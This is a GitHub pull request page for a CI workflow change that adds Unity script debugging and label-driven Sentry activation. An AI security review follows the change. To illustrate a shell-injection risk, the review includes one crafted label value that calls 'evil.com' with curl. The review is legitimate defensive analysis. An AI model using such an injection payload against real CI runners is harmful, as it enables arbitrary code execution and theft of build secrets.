Skip to content

feat: script debugging from ci + sentry QoL - #8850

Merged
NickKhalow merged 1 commit into
devfrom
feat/script-debugging-from-ci
May 22, 2026
Merged

feat: script debugging from ci + sentry QoL#8850
NickKhalow merged 1 commit into
devfrom
feat/script-debugging-from-ci

Conversation

@NickKhalow

@NickKhalow NickKhalow commented May 21, 2026

Copy link
Copy Markdown
Contributor

What does this PR change?

Adds Script Debugging support to the Unity Cloud CI build workflow, along with several quality-of-life improvements for CI artifact handling and Sentry configuration.

Script Debugging from CI

  • Adds a new script_debugging boolean input to both workflow_dispatch and workflow_call triggers.
  • When enabled (via input toggle or the script-debugging PR label), the build includes AllowDebugging in Unity build options and forces a Development build — required by Unity for AllowDebugging to take effect.
  • Label-based activation allows developers to simply tag a PR instead of manually triggering a workflow.

Sentry label-based activation for PRs

  • Refactors the Sentry-enable logic so that PR builds can also activate Sentry via the enable-sentry PR label, not just via workflow inputs.

S3 upload path & URL visibility

  • Extracts the DESTINATION_PATH computation into its own step ("Compute S3 destination path"), making the env var available to subsequent steps.
  • Adds a "Print S3 upload URL" step that outputs the artifact URL as a ::notice:: annotation and writes it to the GitHub Step Summary for easy discovery.

Test Instructions

Steps (workflow_dispatch):

  1. Trigger build-unitycloud manually with script_debugging: true.
  2. Verify the build options logged include AllowDebugging and Development.
  3. Verify the Step Summary shows the S3 artifact URL.

Steps (PR label):

  1. Add the script-debugging label to a test PR.
  2. Verify the PR build picks up the label and includes AllowDebugging + Development.
  3. Add the enable-sentry label and verify Sentry is activated with environment=development.

Expected result:

  • Builds with script debugging produce a Development build with AllowDebugging.
  • S3 artifact URL is visible in the Step Summary and as a workflow annotation.
  • Sentry activation works via both input and PR label.

Quality Checklist

  • Changes have been tested locally
  • Documentation has been updated (if required)
  • Performance impact has been considered

@NickKhalow NickKhalow self-assigned this May 21, 2026
@NickKhalow NickKhalow added the no QA needed Used to tag pull requests that does not require QA validation label May 21, 2026
@github-actions

github-actions Bot commented May 21, 2026

Copy link
Copy Markdown
Contributor

badge

Build skipped — no changes detected under Explorer/.

@NickKhalow NickKhalow changed the title feat: script debugging from ci feat: script debugging from ci + sentry QoL May 21, 2026
@NickKhalow
NickKhalow marked this pull request as ready for review May 21, 2026 13:38
@NickKhalow
NickKhalow requested a review from a team as a code owner May 21, 2026 13:38
@claude

claude Bot commented May 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @NickKhalow's task in 1m 56s —— View job


Claude Security Review

Scope: .github/workflows/build-unitycloud.yml only (no dependency manifests, no prompt files, no binaries). This is not an LLM workflow, so W.1/W.4/W.5/W.6/W.9 don't apply. Below are the relevant findings against W.7/W.8/W.10 plus a small set of injection-class observations specific to the new logic.

  • Read changed workflow file
  • Analyze diff vs. origin/dev
  • Apply workflow security checks (W.1–W.10)
  • Post final review with verdict

Summary of changes (PR-visible facts)

File Change Risk
.github/workflows/build-unitycloud.yml Adds script_debugging input (workflow_dispatch + workflow_call); enables Sentry + Script Debugging via PR labels; splits DESTINATION_PATH into its own step; prints S3 artifact URL to ::notice:: + Step Summary LOW
  • No new external actions added.
  • No new secrets referenced.
  • No dependency files (Packages/manifest.json, lockfile) touched.
  • Trigger remains pull_request (NOT pull_request_target), so secrets do not flow to fork PR code. W.8a: PASS.

Findings against the workflow checklist

W.7a — Secret-holding actions pinned to a mutable ref (pre-existing, NOT introduced by this PR)

sslcom/esigner-codesign@develop at line 599 is branch-pinned and receives ES_USERNAME, ES_PASSWORD, WINDOWS_CREDENTIAL_ID_SIGNER, ES_TOTP_SECRET. A compromise upstream would expose the SSL.com signing credentials.

This was already present on dev — it is not part of this PR — but flagging since it's a HIGH-class issue per the checklist. Should be tracked as a follow-up: pin to a 40-char commit SHA. Not blocking for this PR.

W.7b — Other unpinned actions (pre-existing)

Tag-pinned (@v4, @v5, @v3, @v7): actions/checkout, actions/upload-artifact, actions/setup-python, nick-fields/retry, actions/github-script. Only step-security/changed-files is SHA-pinned. Worth a separate cleanup PR; not introduced here.

W.10 — Permissions block

No top-level or per-job permissions: block. Default GITHUB_TOKEN scope is repo-policy-controlled. Pre-existing; out of scope for this PR.


Injection-class observations on the new logic

These are not in the W.1–W.10 numbered set (which is LLM-focused) but are worth a quick read since the PR introduces label-driven shell logic.

1. Label name interpolation into a shell command — lines 351-352, 444

echo "${{ join(github.event.pull_request.labels.*.name, ' ') }}" | grep -qw 'enable-sentry' ...

GitHub label names can contain spaces, quotes, backticks, and $. A user with triage/write access could craft a label like foo'); curl evil.com; echo ' and trigger arbitrary execution on the runner. The trust boundary here is "anyone who can add labels," which is narrower than "PR author" but still a privilege-escalation primitive worth being aware of.

Mitigation (safer pattern, also used by the Decide whether to build and Set default values steps already on dev, so this is consistent with existing style):

labels='${{ join(github.event.pull_request.labels.*.name, ' ') }}'
echo "$labels" | grep -qw 'enable-sentry' && sentry_enabled=true || sentry_enabled=false

Single quotes around the GitHub expression, then quoted shell variable expansion. Severity: LOW — this pattern is identical to several other steps already on dev, so this PR does not introduce a new class of risk. Treat as a repo-wide hardening opportunity, not a blocker for this PR.

2. $GITHUB_ENV write of DESTINATION_PATH — lines 831-838
The new "Compute S3 destination path" step writes:

echo "DESTINATION_PATH=${RESOLVED_DESTINATION_PATH}" >> $GITHUB_ENV

RESOLVED_DESTINATION_PATH interpolates env.SAFE_BRANCH_NAME (from GITHUB_HEAD_REF). Git refs disallow newlines, =, and most metacharacters, so $GITHUB_ENV poisoning is not reachable here. Safe.

3. New ::notice:: URL print — lines 851-859
ARTIFACT_URL is composed of safe inputs (DESTINATION_PATH, env.artifact_name, matrix.target). No injection concern. The URL is also written to $GITHUB_STEP_SUMMARY; same data-source check — fine.


Other observations (non-security)

  • The script-debugging "Add Development if not already present" guard at lines 449-451 uses [[ ! " ${options[*]} " =~ " Development " ]]. This works because options=() and IFS hasn't been reset yet at that point. Once IFS=, is set at line 457, this pattern would break — but the check runs before that, so it's correct as written. Fragile, but correct.
  • script_debugging from workflow_call flows from a downstream caller only when explicitly passed; label-based activation is intentionally restricted to github.event_name == 'pull_request'. Release builds via workflow_call therefore can't accidentally pick up the label. Good.

Verdict

The PR is a small, additive workflow change with no new dependencies, no new actions, no secret-flow changes, and no LLM/prompt surface. The only label-shell-interpolation pattern it adds mirrors patterns already present on dev. No HIGH findings introduced by this diff.

Pre-existing items (sslcom/esigner-codesign@develop, no top-level permissions:, tag-pinned actions) should be addressed in a follow-up but are not in scope here.

DEPENDENCY_REVIEW: PASS
· Branch

@NickKhalow
NickKhalow merged commit 084c8a5 into dev May 22, 2026
42 of 44 checks passed
@NickKhalow
NickKhalow deleted the feat/script-debugging-from-ci branch May 22, 2026 13:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

new-dependency no QA needed Used to tag pull requests that does not require QA validation

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants